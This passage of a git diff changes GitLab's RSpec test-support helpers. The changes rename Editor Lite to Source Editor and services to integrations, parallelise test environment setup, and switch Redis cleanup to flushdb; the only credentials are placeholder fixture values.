+ def create_strategy(feature_flag, name = 'default', parameters = {})
+ create(:operations_strategy,
+ feature_flag: feature_flag,
+ name: name)
+ end
+
def within_feature_flag_row(index)
within ".gl-responsive-table-row:nth-child(#{index + 1})" do
yield
diff --git a/spec/support/helpers/features/admin_users_helpers.rb b/spec/support/helpers/features/admin_users_helpers.rb
new file mode 100644
index 00000000000..99b19eedcff
--- /dev/null
+++ b/spec/support/helpers/features/admin_users_helpers.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module AdminUsersHelpers
+ def click_user_dropdown_toggle(user_id)
+ page.within("[data-testid='user-actions-#{user_id}']") do
+ find("[data-testid='dropdown-toggle']").click
+ end
+ end
+
+ def click_action_in_user_dropdown(user_id, action)
+ click_user_dropdown_toggle(user_id)
+
+ within find("[data-testid='user-actions-#{user_id}']") do
+ find('li button', exact_text: action).click
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/editor_lite_spec_helpers.rb b/spec/support/helpers/features/editor_lite_spec_helpers.rb
deleted file mode 100644
index 0a67e753379..00000000000
--- a/spec/support/helpers/features/editor_lite_spec_helpers.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
-#
-module Spec
- module Support
- module Helpers
- module Features
- module EditorLiteSpecHelpers
- include ActionView::Helpers::JavaScriptHelper
-
- def editor_set_value(value)
- editor = find('.monaco-editor')
- uri = editor['data-uri']
-
- execute_script("monaco.editor.getModel('#{uri}').setValue('#{escape_javascript(value)}')")
- end
-
- def editor_get_value
- editor = find('.monaco-editor')
- uri = editor['data-uri']
-
- evaluate_script("monaco.editor.getModel('#{uri}').getValue()")
- end
- end
- end
- end
- end
-end
diff --git a/spec/support/helpers/features/invite_members_modal_helper.rb b/spec/support/helpers/features/invite_members_modal_helper.rb
index 1127c817656..7b8cd6963c0 100644
--- a/spec/support/helpers/features/invite_members_modal_helper.rb
+++ b/spec/support/helpers/features/invite_members_modal_helper.rb
@@ -9,7 +9,7 @@ module Spec
click_on 'Invite members'
page.within '#invite-members-modal' do
- fill_in 'Select members or type email addresses', with: name
+ find('[data-testid="members-token-select-input"]').set(name)
wait_for_requests
click_button name
diff --git a/spec/support/helpers/features/snippet_helpers.rb b/spec/support/helpers/features/snippet_helpers.rb
index c26849a9680..dc718b1b212 100644
--- a/spec/support/helpers/features/snippet_helpers.rb
+++ b/spec/support/helpers/features/snippet_helpers.rb
@@ -1,14 +1,17 @@
# frozen_string_literal: true
-# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
+# These helpers help you interact within the Source Editor (single-file editor, snippets, etc.).
#
+
+require Rails.root.join("spec/support/helpers/features/source_editor_spec_helpers.rb")
+
module Spec
module Support
module Helpers
module Features
module SnippetSpecHelpers
include ActionView::Helpers::JavaScriptHelper
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
def snippet_description_locator
'snippet-description'
@@ -31,7 +34,7 @@ module Spec
end
def snippet_get_first_blob_value
- page.find('.gl-editor-lite', match: :first)
+ page.find('.gl-source-editor', match: :first)
end
def snippet_description_value
@@ -53,7 +56,7 @@ module Spec
end
def snippet_fill_in_content(value)
- page.within('.gl-editor-lite') do
+ page.within('.gl-source-editor') do
el = find('.inputarea')
el.send_keys value
end
diff --git a/spec/support/helpers/features/source_editor_spec_helpers.rb b/spec/support/helpers/features/source_editor_spec_helpers.rb
new file mode 100644
index 00000000000..57057b47fbb
--- /dev/null
+++ b/spec/support/helpers/features/source_editor_spec_helpers.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+# These helpers help you interact within the Source Editor (single-file editor, snippets, etc.).
+#
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module SourceEditorSpecHelpers
+ include ActionView::Helpers::JavaScriptHelper
+
+ def editor_set_value(value)
+ editor = find('.monaco-editor')
+ uri = editor['data-uri']
+
+ execute_script("monaco.editor.getModel('#{uri}').setValue('#{escape_javascript(value)}')")
+ end
+
+ def editor_get_value
+ editor = find('.monaco-editor')
+ uri = editor['data-uri']
+
+ evaluate_script("monaco.editor.getModel('#{uri}').getValue()")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/top_nav_spec_helpers.rb b/spec/support/helpers/features/top_nav_spec_helpers.rb
index ab664ce4283..87ed897ec74 100644
--- a/spec/support/helpers/features/top_nav_spec_helpers.rb
+++ b/spec/support/helpers/features/top_nav_spec_helpers.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-# These helpers help you interact within the Editor Lite (single-file editor, snippets, etc.).
+# These helpers help you interact within the Source Editor (single-file editor, snippets, etc.).
#
module Spec
module Support
diff --git a/spec/support/helpers/grafana_api_helpers.rb b/spec/support/helpers/grafana_api_helpers.rb
index e47b1a808f2..7a7b6fec5b4 100644
--- a/spec/support/helpers/grafana_api_helpers.rb
+++ b/spec/support/helpers/grafana_api_helpers.rb
@@ -31,7 +31,7 @@ module GrafanaApiHelpers
end
def stub_all_grafana_proxy_requests(base_url)
- stub_request(:any, /#{base_url}\/api\/datasources\/proxy/)
+ stub_request(:any, %r{#{base_url}/api/datasources/proxy})
.to_return(
status: 200,
body: fixture_file('grafana/proxy_response.json'),
diff --git a/spec/support/helpers/javascript_fixtures_helpers.rb b/spec/support/helpers/javascript_fixtures_helpers.rb
index 8fd8a548011..4c90b907d2d 100644
--- a/spec/support/helpers/javascript_fixtures_helpers.rb
+++ b/spec/support/helpers/javascript_fixtures_helpers.rb
@@ -43,12 +43,14 @@ module JavaScriptFixturesHelpers
# Public: Reads a GraphQL query from the filesystem as a string
#
# query_path - file path to the GraphQL query, relative to `app/assets/javascripts`
- # fragment_paths - an optional array of file paths to any fragments the query uses,
- # also relative to `app/assets/javascripts`
- def get_graphql_query_as_string(query_path, fragment_paths = [])
- [query_path, *fragment_paths].map do |path|
- File.read(File.join(Rails.root, '/app/assets/javascripts', path))
- end.join("\n")
+ def get_graphql_query_as_string(query_path)
+ path = Rails.root / 'app/assets/javascripts' / query_path
+ queries = Gitlab::Graphql::Queries.find(path)
+ if queries.length == 1
+ queries.first.text(mode: Gitlab.ee? ? :ee : :ce )
+ else
+ raise "Could not find query file at #{path}, please check your query_path" % path
+ end
end
private
diff --git a/spec/support/helpers/jira_service_helper.rb b/spec/support/helpers/jira_service_helper.rb
index ce908d53f88..3cfd0de06e8 100644
--- a/spec/support/helpers/jira_service_helper.rb
+++ b/spec/support/helpers/jira_service_helper.rb
@@ -4,7 +4,7 @@ module JiraServiceHelper
JIRA_URL = "http://jira.example.net"
JIRA_API = JIRA_URL + "/rest/api/2"
- def jira_service_settings
+ def jira_integration_settings
url = JIRA_URL
username = 'jira-user'
password = 'my-secret-password'
@@ -77,7 +77,7 @@ module JiraServiceHelper
JIRA_API + "/issue/#{issue_id}"
end
- def stub_jira_service_test
+ def stub_jira_integration_test
WebMock.stub_request(:get, /serverInfo/).to_return(body: { url: 'http://url' }.to_json)
end
diff --git a/spec/support/helpers/live_debugger.rb b/spec/support/helpers/live_debugger.rb
index cdb068760f4..f4199d518a3 100644
--- a/spec/support/helpers/live_debugger.rb
+++ b/spec/support/helpers/live_debugger.rb
@@ -7,8 +7,8 @@ module LiveDebugger
puts
puts "Current example is paused for live debugging."
- if ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i
- puts "Switch to the Chrome window that was automatically opened to run the test in order to view current page"
+ if is_headless_disabled?
+ puts "Switch to the browser window that was automatically opened to run the test in order to view current page"
else
puts "Opening #{current_url} in your default browser..."
end
@@ -16,10 +16,16 @@ module LiveDebugger
puts "The current user credentials are: #{@current_user.username} / #{@current_user.password}" if @current_user
puts "Press any key to resume the execution of the example!!"
- `open #{current_url}` if ENV['CHROME_HEADLESS'] !~ /^(false|no|0)$/i
+ `open #{current_url}` if is_headless_disabled?
loop until $stdin.getch
puts "Back to the example!"
end
+
+ def is_headless_disabled?
+ ActiveSupport::Deprecation.warn("CHROME_HEADLESS is deprecated. Use WEBDRIVER_HEADLESS instead.") if ENV.key?('CHROME_HEADLESS')
+
+ ENV['WEBDRIVER_HEADLESS'] =~ /^(false|no|0)$/i || ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i
+ end
end
diff --git a/spec/support/helpers/merge_request_diff_helpers.rb b/spec/support/helpers/merge_request_diff_helpers.rb
index 49beecc6d4b..30afde7efed 100644
--- a/spec/support/helpers/merge_request_diff_helpers.rb
+++ b/spec/support/helpers/merge_request_diff_helpers.rb
@@ -3,8 +3,8 @@
module MergeRequestDiffHelpers
def click_diff_line(line_holder, diff_side = nil)
line = get_line_components(line_holder, diff_side)
- line[:content].hover
- line[:num].find('.js-add-diff-note-button', visible: false).send_keys(:return)
+ line_holder.hover
+ line[:num].find('.js-add-diff-note-button').click
end
def get_line_components(line_holder, diff_side = nil)
diff --git a/spec/support/helpers/require_migration.rb b/spec/support/helpers/require_migration.rb
index 8de71d3073f..de3a8a81ab5 100644
--- a/spec/support/helpers/require_migration.rb
+++ b/spec/support/helpers/require_migration.rb
@@ -15,7 +15,7 @@ class RequireMigration
end
MIGRATION_FOLDERS = %w[db/migrate db/post_migrate].freeze
- SPEC_FILE_PATTERN = /.+\/(?<file_name>.+)_spec\.rb/.freeze
+ SPEC_FILE_PATTERN = %r{.+/(?<file_name>.+)_spec\.rb}.freeze
class << self
def require_migration!(file_name)
@@ -29,7 +29,7 @@ class RequireMigration
migration_folders.flat_map do |path|
migration_path = Rails.root.join(path).to_s
- Find.find(migration_path).grep(/\d+_#{file_name}\.rb/)
+ Find.find(migration_path).select { |m| File.basename(m).match? /\A\d+_#{file_name}\.rb\z/ }
end
end
diff --git a/spec/support/helpers/services_helper.rb b/spec/support/helpers/services_helper.rb
deleted file mode 100644
index bf007815551..00000000000
--- a/spec/support/helpers/services_helper.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-require_relative './after_next_helpers'
-
-module ServicesHelper
- include AfterNextHelpers
-
- def expect_execution_of(service_class, *args)
- expect_next(service_class, *args).to receive(:execute)
- end
-end
diff --git a/spec/support/helpers/stub_experiments.rb b/spec/support/helpers/stub_experiments.rb
index 408d16a7c08..8995b8f5f7b 100644
--- a/spec/support/helpers/stub_experiments.rb
+++ b/spec/support/helpers/stub_experiments.rb
@@ -11,7 +11,6 @@ module StubExperiments
allow(Gitlab::Experimentation).to receive(:active?).and_call_original
experiments.each do |experiment_key, enabled|
- Feature.persist_used!("#{experiment_key}#{feature_flag_suffix}")
allow(Gitlab::Experimentation).to receive(:active?).with(experiment_key) { enabled }
end
end
@@ -26,7 +25,6 @@ module StubExperiments
allow(Gitlab::Experimentation).to receive(:in_experiment_group?).and_call_original
experiments.each do |experiment_key, enabled|
- Feature.persist_used!("#{experiment_key}#{feature_flag_suffix}")
allow(Gitlab::Experimentation).to receive(:in_experiment_group?).with(experiment_key, anything) { enabled }
end
end
diff --git a/spec/support/helpers/stub_spam_services.rb b/spec/support/helpers/stub_spam_services.rb
new file mode 100644
index 00000000000..841e8366845
--- /dev/null
+++ b/spec/support/helpers/stub_spam_services.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module StubSpamServices
+ def stub_spam_services
+ allow(::Spam::SpamParams).to receive(:new_from_request) do
+ ::Spam::SpamParams.new(
+ captcha_response: double(:captcha_response),
+ spam_log_id: double(:spam_log_id),
+ ip_address: double(:ip_address),
+ user_agent: double(:user_agent),
+ referer: double(:referer)
+ )
+ end
+
+ allow_next_instance_of(::Spam::SpamActionService) do |service|
+ allow(service).to receive(:execute)
+ end
+
+ allow_next_instance_of(::UserAgentDetailService) do |service|
+ allow(service).to receive(:create)
+ end
+ end
+end
diff --git a/spec/support/helpers/stubbed_feature.rb b/spec/support/helpers/stubbed_feature.rb
index 67ceb7d9b35..4113a28182b 100644
--- a/spec/support/helpers/stubbed_feature.rb
+++ b/spec/support/helpers/stubbed_feature.rb
@@ -4,14 +4,6 @@
module StubbedFeature
extend ActiveSupport::Concern
- prepended do
- cattr_reader(:persist_used) do
- # persist feature flags in CI
- # nil: indicates that we do not want to persist used feature flags
- Gitlab::Utils.to_boolean(ENV['CI']) ? {} : nil
- end
- end
-
class_methods do
# Turn stubbed feature flags on or off.
def stub=(stub)
@@ -41,8 +33,6 @@ module StubbedFeature
feature_flag = super
return feature_flag unless stub?
- persist_used!(args.first)
-
# If feature flag is not persisted we mark the feature flag as enabled
# We do `m.call` as we want to validate the execution of method arguments
# and a feature flag state if it is not persisted
@@ -52,17 +42,5 @@ module StubbedFeature
feature_flag
end
-
- # This method creates a temporary file in `tmp/feature_flags`
- # if feature flag was touched during execution
- def persist_used!(name)
- return unless persist_used
- return if persist_used[name]
-
- persist_used[name] = true
- FileUtils.touch(
- Rails.root.join('tmp', 'feature_flags', name.to_s + ".used")
- )
- end
end
end
diff --git a/spec/support/helpers/test_env.rb b/spec/support/helpers/test_env.rb
index 40a3dbfbf25..8814d260fb3 100644
--- a/spec/support/helpers/test_env.rb
+++ b/spec/support/helpers/test_env.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
+require 'parallel'
+
module TestEnv
- extend ActiveSupport::Concern
extend self
ComponentFailedToInstallError = Class.new(StandardError)
@@ -94,50 +95,40 @@ module TestEnv
TMP_TEST_PATH = Rails.root.join('tmp', 'tests').freeze
REPOS_STORAGE = 'default'
SECOND_STORAGE_PATH = Rails.root.join('tmp', 'tests', 'second_storage')
+ SETUP_METHODS = %i[setup_gitaly setup_gitlab_shell setup_workhorse setup_factory_repo setup_forked_repo].freeze
+
+ # Can be overriden
+ def setup_methods
+ SETUP_METHODS
+ end
# Test environment
#
# See gitlab.yml.example test section for paths
#
- def init(opts = {})
+ def init
unless Rails.env.test?
puts "\nTestEnv.init can only be run if `RAILS_ENV` is set to 'test' not '#{Rails.env}'!\n"
exit 1
end
+ start = Time.now
# Disable mailer for spinach tests
- disable_mailer if opts[:mailer] == false
-
clean_test_path
- setup_gitlab_shell
-
- setup_gitaly
-
- # Feature specs are run through Workhorse
- setup_workhorse
-
- # Create repository for FactoryBot.create(:project)
- setup_factory_repo
-
- # Create repository for FactoryBot.create(:forked_project_with_submodules)
- setup_forked_repo
- end
-
- included do |config|
- config.append_before do
- set_current_example_group
+ # Install components in parallel as most of the setup is I/O.
+ Parallel.each(setup_methods) do |method|
+ public_send(method)
end
- end
- def disable_mailer
- allow_any_instance_of(NotificationService).to receive(:mailer)
- .and_return(double.as_null_object)
+ post_init
+
+ puts "\nTest environment set up in #{Time.now - start} seconds"
end
- def enable_mailer
- allow_any_instance_of(NotificationService).to receive(:mailer)
- .and_call_original
+ # Can be overriden
+ def post_init
+ start_gitaly(gitaly_dir)
end
# Clean /tmp/tests
@@ -164,12 +155,11 @@ module TestEnv
end
def setup_gitaly
- install_gitaly_args = [gitaly_dir, repos_path, gitaly_url].compact.join(',')
-
component_timed_setup('Gitaly',
install_dir: gitaly_dir,
version: Gitlab::GitalyClient.expected_server_version,
- task: "gitlab:gitaly:install[#{install_gitaly_args}]") do
+ task: "gitlab:gitaly:install",
+ task_args: [gitaly_dir, repos_path, gitaly_url].compact) do
Gitlab::SetupHelper::Gitaly.create_configuration(
gitaly_dir,
{ 'default' => repos_path },
@@ -190,8 +180,6 @@ module TestEnv
)
Gitlab::SetupHelper::Praefect.create_configuration(gitaly_dir, { 'praefect' => repos_path }, force: true)
end
-
- start_gitaly(gitaly_dir)
end
def gitaly_socket_path
@@ -273,19 +261,18 @@ module TestEnv
raise "could not connect to #{service} at #{socket.inspect} after #{sleep_time} seconds"
end
+ # Feature specs are run through Workhorse
def setup_workhorse
start = Time.now
return if skip_compile_workhorse?
- puts "\n==> Setting up GitLab Workhorse..."
-
FileUtils.rm_rf(workhorse_dir)
Gitlab::SetupHelper::Workhorse.compile_into(workhorse_dir)
Gitlab::SetupHelper::Workhorse.create_configuration(workhorse_dir, nil)
File.write(workhorse_tree_file, workhorse_tree) if workhorse_source_clean?
- puts " GitLab Workhorse set up in #{Time.now - start} seconds...\n"
+ puts "==> GitLab Workhorse set up in #{Time.now - start} seconds...\n"
end
def skip_compile_workhorse?
@@ -349,10 +336,12 @@ module TestEnv
ENV.fetch('GITLAB_WORKHORSE_URL', nil)
end
+ # Create repository for FactoryBot.create(:project)
def setup_factory_repo
setup_repo(factory_repo_path, factory_repo_path_bare, factory_repo_name, BRANCH_SHA)
end
+ # Create repository for FactoryBot.create(:forked_project_with_submodules)
# This repo has a submodule commit that is not present in the main test
# repository.
def setup_forked_repo
@@ -363,20 +352,18 @@ module TestEnv
clone_url = "https://gitlab.com/gitlab-org/#{repo_name}.git"
unless File.directory?(repo_path)
- puts "\n==> Setting up #{repo_name} repository in #{repo_path}..."
start = Time.now
system(*%W(#{Gitlab.config.git.bin_path} clone --quiet -- #{clone_url} #{repo_path}))
- puts " #{repo_path} set up in #{Time.now - start} seconds...\n"
+ puts "==> #{repo_path} set up in #{Time.now - start} seconds...\n"
end
set_repo_refs(repo_path, refs)
unless File.directory?(repo_path_bare)
- puts "\n==> Setting up #{repo_name} bare repository in #{repo_path_bare}..."
start = Time.now
# We must copy bare repositories because we will push to them.
system(git_env, *%W(#{Gitlab.config.git.bin_path} clone --quiet --bare -- #{repo_path} #{repo_path_bare}))
- puts " #{repo_path_bare} set up in #{Time.now - start} seconds...\n"
+ puts "==> #{repo_path_bare} set up in #{Time.now - start} seconds...\n"
end
end
@@ -468,10 +455,6 @@ module TestEnv
private
- def set_current_example_group
- Thread.current[:current_example_group] = ::RSpec.current_example.metadata[:example_group]
- end
-
# These are directories that should be preserved at cleanup time
def test_dirs
@test_dirs ||= %w[
@@ -526,7 +509,7 @@ module TestEnv
end
end
- def component_timed_setup(component, install_dir:, version:, task:)
+ def component_timed_setup(component, install_dir:, version:, task:, task_args: [])
start = Time.now
ensure_component_dir_name_is_correct!(component, install_dir)
@@ -535,17 +518,22 @@ module TestEnv
return if File.exist?(install_dir) && ci?
if component_needs_update?(install_dir, version)
- puts "\n==> Setting up #{component}..."
# Cleanup the component entirely to ensure we start fresh
FileUtils.rm_rf(install_dir)
- unless system('rake', task)
- raise ComponentFailedToInstallError
+ if ENV['SKIP_RAILS_ENV_IN_RAKE']
+ # When we run `scripts/setup-test-env`, we take care of loading the necessary dependencies
+ # so we can run the rake task programmatically.
+ Rake::Task[task].invoke(*task_args)
+ else
+ # In other cases, we run the task via `rake` so that the environment
+ # and dependencies are automatically loaded.
+ raise ComponentFailedToInstallError unless system('rake', "#{task}[#{task_args.join(',')}]")
end
yield if block_given?
- puts " #{component} set up in #{Time.now - start} seconds...\n"
+ puts "==> #{component} set up in #{Time.now - start} seconds...\n"
end
rescue ComponentFailedToInstallError
puts "\n#{component} failed to install, cleaning up #{install_dir}!\n"
diff --git a/spec/support/matchers/be_executed.rb b/spec/support/matchers/be_executed.rb
new file mode 100644
index 00000000000..fea86386755
--- /dev/null
+++ b/spec/support/matchers/be_executed.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# named as `get_executed` to avoid clashing
+# with `be_executed === have_attributes(executed: true)`
+RSpec::Matchers.define :get_executed do |args = []|
+ include AfterNextHelpers
+
+ match do |service_class|
+ expect_next(service_class, *args).to receive(:execute)
+ end
+end
diff --git a/spec/support/matchers/have_issuable_counts.rb b/spec/support/matchers/have_issuable_counts.rb
index 049cfc022fb..586ba0651dc 100644
--- a/spec/support/matchers/have_issuable_counts.rb
+++ b/spec/support/matchers/have_issuable_counts.rb
@@ -6,7 +6,7 @@ RSpec::Matchers.define :have_issuable_counts do |opts|
end
match do |actual|
- actual.within '.issues-state-filters' do
+ actual.within '.top-area' do
expected_counts.each do |expected_count|
expect(actual).to have_content(expected_count)
end
diff --git a/spec/support/matchers/usage_metric_matchers.rb b/spec/support/matchers/usage_metric_matchers.rb
new file mode 100644
index 00000000000..83433334e8b
--- /dev/null
+++ b/spec/support/matchers/usage_metric_matchers.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+RSpec::Matchers.define :have_usage_metric do |key_path|
+ match do |payload|
+ payload = payload.deep_stringify_keys
+
+ key_path.split('.').each do |part|
+ break false unless payload&.has_key?(part)
+
+ payload = payload[part]
+ end
+ end
+
+ failure_message do
+ "Payload does not contain metric with key path: '#{key_path}'"
+ end
+
+ failure_message_when_negated do
+ "Payload contains restricted metric with key path: '#{key_path}'"
+ end
+end
diff --git a/spec/support/omniauth_strategy.rb b/spec/support/omniauth_strategy.rb
index 23907b8e450..5d5ee7dc1db 100644
--- a/spec/support/omniauth_strategy.rb
+++ b/spec/support/omniauth_strategy.rb
@@ -6,12 +6,6 @@ module StrategyHelpers
include Shoulda::Matchers::ActionController
include OmniAuth::Test::StrategyTestCase
- def post(*args)
- super.tap do
- @response = ActionDispatch::TestResponse.from_response(last_response)
- end
- end
-
def auth_hash
last_request.env['omniauth.auth']
end
@@ -21,7 +15,9 @@ module StrategyHelpers
original_on_failure = OmniAuth.config.on_failure
OmniAuth.config.test_mode = false
- OmniAuth.config.on_failure = OmniAuth::FailureEndpoint
+ OmniAuth.config.on_failure = proc do |env|
+ OmniAuth::FailureEndpoint.new(env).redirect_to_failure
+ end
yield
ensure
@@ -33,7 +29,7 @@ end
RSpec.configure do |config|
config.include StrategyHelpers, type: :strategy
- config.around(:all, type: :strategy) do |example|
+ config.around(type: :strategy) do |example|
StrategyHelpers.without_test_mode do
example.run
end
diff --git a/spec/support/redis/redis_helpers.rb b/spec/support/redis/redis_helpers.rb
index b8118bf94cc..3511d906203 100644
--- a/spec/support/redis/redis_helpers.rb
+++ b/spec/support/redis/redis_helpers.rb
@@ -5,21 +5,21 @@ module RedisHelpers
# Usage: performance enhancement
def redis_cache_cleanup!
- Gitlab::Redis::Cache.with(&:flushall)
+ Gitlab::Redis::Cache.with(&:flushdb)
end
# Usage: SideKiq, Mailroom, CI Runner, Workhorse, push services
def redis_queues_cleanup!
- Gitlab::Redis::Queues.with(&:flushall)
+ Gitlab::Redis::Queues.with(&:flushdb)
end
# Usage: session state, rate limiting
def redis_shared_state_cleanup!
- Gitlab::Redis::SharedState.with(&:flushall)
+ Gitlab::Redis::SharedState.with(&:flushdb)
end
# Usage: CI trace chunks
def redis_trace_chunks_cleanup!
- Gitlab::Redis::TraceChunks.with(&:flushall)
+ Gitlab::Redis::TraceChunks.with(&:flushdb)
end
end
diff --git a/spec/support/services/issuable_import_csv_service_shared_examples.rb b/spec/support/services/issuable_import_csv_service_shared_examples.rb
index f68750bec32..07118198969 100644
--- a/spec/support/services/issuable_import_csv_service_shared_examples.rb
+++ b/spec/support/services/issuable_import_csv_service_shared_examples.rb
@@ -67,10 +67,7 @@ RSpec.shared_examples 'issuable import csv service' do |issuable_type|
it 'correctly sets the issuable attributes' do
expect { subject }.to change { issuables.count }.by 4
- expect(issuables.reload.last).to have_attributes(
- title: 'Test Title',
- description: 'Test Description'
- )
+ expect(issuables.reload).to include(have_attributes({ title: 'Test Title', description: 'Test Description' }))
end
it_behaves_like 'importer with email notification'
@@ -89,10 +86,7 @@ RSpec.shared_examples 'issuable import csv service' do |issuable_type|
it 'correctly sets the issuable attributes' do
expect { subject }.to change { issuables.count }.by 3
- expect(issuables.reload.last).to have_attributes(
- title: 'Title with quote"',
- description: 'Description'
- )
+ expect(issuables.reload).to include(have_attributes(title: 'Title with quote"', description: 'Description'))
end
it_behaves_like 'importer with email notification'
@@ -111,10 +105,7 @@ RSpec.shared_examples 'issuable import csv service' do |issuable_type|
it 'correctly sets the issuable attributes' do
expect { subject }.to change { issuables.count }.by 2
- expect(issuables.reload.last).to have_attributes(
- title: 'Hello',
- description: 'World'
- )
+ expect(issuables.reload).to include(have_attributes(title: 'Hello', description: 'World'))
end
it_behaves_like 'importer with email notification'
@@ -133,10 +124,7 @@ RSpec.shared_examples 'issuable import csv service' do |issuable_type|
it 'correctly sets the issuable attributes' do
expect { subject }.to change { issuables.count }.by 3
- expect(issuables.reload.last).to have_attributes(
- title: 'Hello',
- description: 'World'
- )
+ expect(issuables.reload).to include(have_attributes(title: 'Hello', description: 'World'))
end
it_behaves_like 'importer with email notification'
diff --git a/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
index e532b42fd1c..3d2b0433b21 100644
--- a/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
+++ b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
@@ -1,36 +1,38 @@
# frozen_string_literal: true
-Integration.available_services_names.each do |service|
- RSpec.shared_context service do
- include JiraServiceHelper if service == 'jira'
+Integration.available_integration_names.each do |integration|
+ RSpec.shared_context integration do
+ include JiraServiceHelper if integration == 'jira'
- let(:dashed_service) { service.dasherize }
- let(:service_method) { Project.integration_association_name(service) }
- let(:service_klass) { Integration.integration_name_to_model(service) }
- let(:service_instance) { service_klass.new }
- let(:service_fields) { service_instance.fields }
- let(:service_attrs_list) { service_fields.inject([]) {|arr, hash| arr << hash[:name].to_sym } }
- let(:service_attrs) do
- service_attrs_list.inject({}) do |hash, k|
+ let(:dashed_integration) { integration.dasherize }
+ let(:integration_method) { Project.integration_association_name(integration) }
+ let(:integration_klass) { Integration.integration_name_to_model(integration) }
+ let(:integration_instance) { integration_klass.new }
+ let(:integration_fields) { integration_instance.fields }
+ let(:integration_attrs_list) { integration_fields.inject([]) {|arr, hash| arr << hash[:name].to_sym } }
+ let(:integration_attrs) do
+ integration_attrs_list.inject({}) do |hash, k|
if k =~ /^(token*|.*_token|.*_key)/
hash.merge!(k => 'secrettoken')
- elsif service == 'confluence' && k == :confluence_url
+ elsif integration == 'confluence' && k == :confluence_url
hash.merge!(k => 'https://example.atlassian.net/wiki')
- elsif service == 'datadog' && k == :datadog_site
+ elsif integration == 'datadog' && k == :datadog_site
hash.merge!(k => 'datadoghq.com')
+ elsif integration == 'packagist' && k == :server
+ hash.merge!(k => 'https://packagist.example.com')
elsif k =~ /^(.*_url|url|webhook)/
hash.merge!(k => "http://example.com")
- elsif service_klass.method_defined?("#{k}?")
+ elsif integration_klass.method_defined?("#{k}?")
hash.merge!(k => true)
- elsif service == 'irker' && k == :recipients
+ elsif integration == 'irker' && k == :recipients
hash.merge!(k => 'irc://irc.network.net:666/#channel')
- elsif service == 'irker' && k == :server_port
+ elsif integration == 'irker' && k == :server_port
hash.merge!(k => 1234)
- elsif service == 'jira' && k == :jira_issue_transition_id
+ elsif integration == 'jira' && k == :jira_issue_transition_id
hash.merge!(k => '1,2,3')
- elsif service == 'emails_on_push' && k == :recipients
+ elsif integration == 'emails_on_push' && k == :recipients
hash.merge!(k => 'foo@bar.com')
- elsif service == 'slack' || service == 'mattermost' && k == :labels_to_be_notified_behavior
+ elsif integration == 'slack' || integration == 'mattermost' && k == :labels_to_be_notified_behavior
hash.merge!(k => "match_any")
else
hash.merge!(k => "someword")
@@ -45,28 +47,28 @@ Integration.available_services_names.each do |service|
end
before do
- enable_license_for_service(service)
- stub_jira_service_test if service == 'jira'
+ enable_license_for_integration(integration)
+ stub_jira_integration_test if integration == 'jira'
end
- def initialize_service(service, attrs = {})
- service_item = project.find_or_initialize_service(service)
- service_item.attributes = attrs
- service_item.properties = service_attrs
- service_item.save!
- service_item
+ def initialize_integration(integration, attrs = {})
+ record = project.find_or_initialize_integration(integration)
+ record.attributes = attrs
+ record.properties = integration_attrs
+ record.save!
+ record
end
private
- def enable_license_for_service(service)
+ def enable_license_for_integration(integration)
return unless respond_to?(:stub_licensed_features)
- licensed_feature = licensed_features[service]
+ licensed_feature = licensed_features[integration]
return unless licensed_feature
stub_licensed_features(licensed_feature => true)
- project.clear_memoization(:disabled_services)
+ project.clear_memoization(:disabled_integrations)
end
end
end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index c00b7203af6..b7eb03de8f0 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -1,19 +1,6 @@
# frozen_string_literal: true
RSpec.shared_context 'project navbar structure' do
- let(:analytics_nav_item) do
- {
- nav_item: _('Analytics'),
- nav_sub_items: [
- _('CI/CD'),
- (_('Code Review') if Gitlab.ee?),
- (_('Merge Request') if Gitlab.ee?),
- _('Repository'),
- _('Value Stream')
- ]
- }
- end
-
let(:security_and_compliance_nav_item) do
{
nav_item: _('Security & Compliance'),
@@ -24,64 +11,20 @@ RSpec.shared_context 'project navbar structure' do
}
end
- let(:monitor_nav_item) do
- {
- nav_item: _('Operations'),
- nav_sub_items: monitor_menu_items
- }
- end
-
- let(:monitor_menu_items) do
- [
- _('Metrics'),
- _('Logs'),
- _('Tracing'),
- _('Error Tracking'),
- _('Alerts'),
- _('Incidents'),
- _('Serverless'),
- _('Terraform'),
- _('Kubernetes'),
- _('Environments'),
- _('Feature Flags'),
- _('Product Analytics')
- ]
- end
-
- let(:project_information_nav_item) do
- {
- nav_item: _('Project overview'),
- nav_sub_items: [
- _('Details'),
- _('Activity'),
- _('Releases')
- ]
- }
- end
-
- let(:settings_menu_items) do
- [
- _('General'),
- _('Integrations'),
- _('Webhooks'),
- _('Access Tokens'),
- _('Repository'),
- _('CI/CD'),
- _('Operations')
- ]
- end
-
- let(:project_context_nav_item) do
- {
- nav_item: "#{project.name[0, 1].upcase} #{project.name}",
- nav_sub_items: []
- }
- end
-
let(:structure) do
[
- project_context_nav_item,
- project_information_nav_item,
+ {
+ nav_item: "#{project.name[0, 1].upcase} #{project.name}",
+ nav_sub_items: []
+ },
+ {
+ nav_item: _('Project information'),
